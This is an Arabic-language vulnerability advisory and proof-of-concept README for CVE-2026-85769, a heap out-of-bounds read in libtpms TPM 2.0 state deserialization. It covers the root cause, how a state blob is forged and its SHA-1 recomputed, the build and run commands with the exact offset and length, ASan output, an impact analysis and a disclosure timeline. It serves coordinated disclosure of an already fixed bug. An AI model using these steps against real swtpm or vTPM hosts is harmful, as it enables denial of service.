
إثبات مفهوم لاستغلال CVE-2026-85769، وهو قراءة خارج الحدود في الكومة (heap out-of-bounds read) في إلغاء تسلسل حالة TPM 2.0 في libtpms، مما يوضح رفض الخدمة عبر كتلة حالة مصممة خصيصًا.
قراءة خارج الحدود من الكومة في libtpms عند إلغاء تسلسل الحالة المتطايرة TPM 2.0.
تخطّي كتلة اختيارية غير محدود في block_skip_read() يقدّم مؤشر إلغاء الترميز بمقدار طول 16-بت يتحكم به المهاجم ويدفع عداد الحجم المتبقي الموقّع إلى قيمة سالبة. عندها تنجح جميع فحوصات الحدود اللاحقة، لأنها تحوّل تلك القيمة الموقّعة إلى غير موقّعة. كتلة حالة متطايرة مزوّرة ذاتية التحقق من المجموع الاختباري تُمرَّر عبر TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) تُنتج قراءة خارج الحدود من الكومة وتُنهي العملية المستضيفة لـ libtpms — swtpm، في نشر vTPM.
| CVE | CVE-2026-85769 |
| المكوّن | src/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c |
| CWE | CWE-125 ← CWE-191 (نقصان عدد صحيح) + CWE-195 (تحويل من موقّع إلى غير موقّع) |
| المتأثّر | master f7f072b2, v0.10.2 03ff2481, والإصدارات السابقة التي تحمل هذا الكود |
| المُصحَّح | 9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613) |
| CVSS 3.1 | AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate) |
| التاريخ | 2026-09-01، أُبلغ بشكل خاص إلى المشرف |
block_skip_read() يتخطّى كتلة إصدار اختيارية بتقديم مؤشر التحليل، دون التحقق من الطول مقابل البايتات المتبقية:
} else if (has_block && !needs_block) {
/* byte stream has the data but we don't need them */
*buffer += blocksize; /* blocksize is a UINT16 from the blob */
*size -= blocksize; /* *size is INT32 — goes negative */
*skip_code = TRUE;
}
*size موقّع. بمجرد أن يصبح سالبًا، يتوقف الحارس أمام كل قراءة قياسية عن العمل:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2 -> false /* guard passes */
كلما تقدّم التحليل إلى ما بعد التخصيص، أصبح *size أكثر سالبية — وأكبر يبدو عند التحويل إلى غير موقّع. نفس الملف يحتوي بالفعل على الصيغة الصحيحة في Array_Unmarshal، التي تقارن القيم الموقّعة.
البوابة الوحيدة للسلامة هي SHA-1 غير مفتاحي مُلحق بالكتلة (src/tpm2/Volatile.c)، لذا يعيد إثبات المفهوم حسابه بعد العبث.
يُستغل عبر TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) وسلسلة الاستعادة عند التشغيل TPMLIB_MainInit → _TPM_Init → VolatileLoad.
في نشر swtpm المسار ذو الصلة هو الترحيل المباشر — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB، المُدار بواسطة libvirt. المضيف الوجهة يحلل كتلة حالة مُنتجة على المضيف المصدر. --migration-key المُهيأ لا يخفف هذا: المفتاح مشترك بين المضيفين، لذا المصدر المخترق يمتلكه وينتج كتلة تُفك تشفيرها بشكل صحيح. إنه يدافع ضد طرف ثالث متدخل، وليس ضد نظير عدائي.
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967 # v0.10.2, or ba73ab17 for pre-fix master
./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin
# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610
# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0
8610 مُقاس بحيث يهبط المؤشر في منطقة ASan الحمراء بدلاً من مؤشر عشوائي:
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
الإزاحة 173 هي بايت has_block من مقطع skip_future_versions الخاص بـ ORDERLY_DATA. تم تحديدها عبر تزويد block_skip_read() بأداة لطباعة الإزاحة أثناء التحليل، وليس بعدّ البايتات — الإزاحة تتغير مع تنسيق الحالة، لذا أعد اشتقاقها إذا اختلف طول كتلتك عن 8778.
لاحظ أن skip_self_heal_timer ليس مقطعًا قابلًا للاستخدام: ACCUMULATE_SELF_HEAL_TIMER YES في TpmBuildSwitches.h يعني أنه يُصدر مع needs_block = TRUE ويتخذ الفرع الآمن.
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
الخطأ يظهر في UINT16_Unmarshal، وليس في block_skip_read — التخطي يقدّم المؤشر ويعود دون قراءة. الفساد يقع على قراءة البنية التالية.
ضد الالتزام المُصحَّح، كل حالات الهجوم تُرجع TPM_RC_INSUFFICIENT (0x9a) دون تقرير ASan، والكتل الصالحة ما زالت تُستعاد مع rc=0.
حرمان من الخدمة للعملية المستضيفة لـ libtpms، بالإضافة إلى سلوك غير محدد.
تم اختبار كشف المعلومات واستبعاده. التجاوزات الصغيرة على بناء غير ASan تُرجع TPM_RC_BAD_TAG (0x1e) في كل مرة:
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
القراءة التي تلي التجاوز مباشرة هي NV_HEADER، الذي يجب أن يطابق سحرها 32-بت ثابتًا محددًا. الكومة المجاورة تحقق ذلك باحتمال p ≈ 2⁻³². التحليل يتوقف، ClearAllCachedState() يتجاهل كل شيء، ولا تصل بايتات خارج الحدود إلى TPMLIB_GetState. لذلك السرية هي C:N. مراجعة Red Hat توصلت إلى نفس الاستنتاج بشكل مستقل.
Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)
أُبلغ بشكل مستقل بواسطة Leyao (ICT CAS)، مُشاد به على نفس CVE.
يُنشر إثبات المفهوم هذا بعد إصلاح القضية في المصدر وتعيين CVE. يستهدف بناءً محليًا لمكتبة مفتوحة المصدر ولا يفعل شيئًا سوى تشغيل التحليل. اختبر فقط ما لديك إذن باختباره.
MIT
| التاريخ |
|---|
| 2026-09-01 | أُبلغ بشكل خاص إلى مشرف libtpms |
| 2026-09-04 | نفس السبب الجذري أُبلغ علنًا وبشكل مستقل بواسطة Leyao (ICT CAS) كقضية libtpms #614 |
| 2026-09-04 | أُصلح في المصدر في 9e1475ff (PR #613)؛ تم التحقق من الإصلاح ضد إثبات المفهوم هذا |
| 2026-09-04 | أُبلغ إلى Red Hat Product Security |
| 2026-09-04 | تم تعيين CVE-2026-85769 |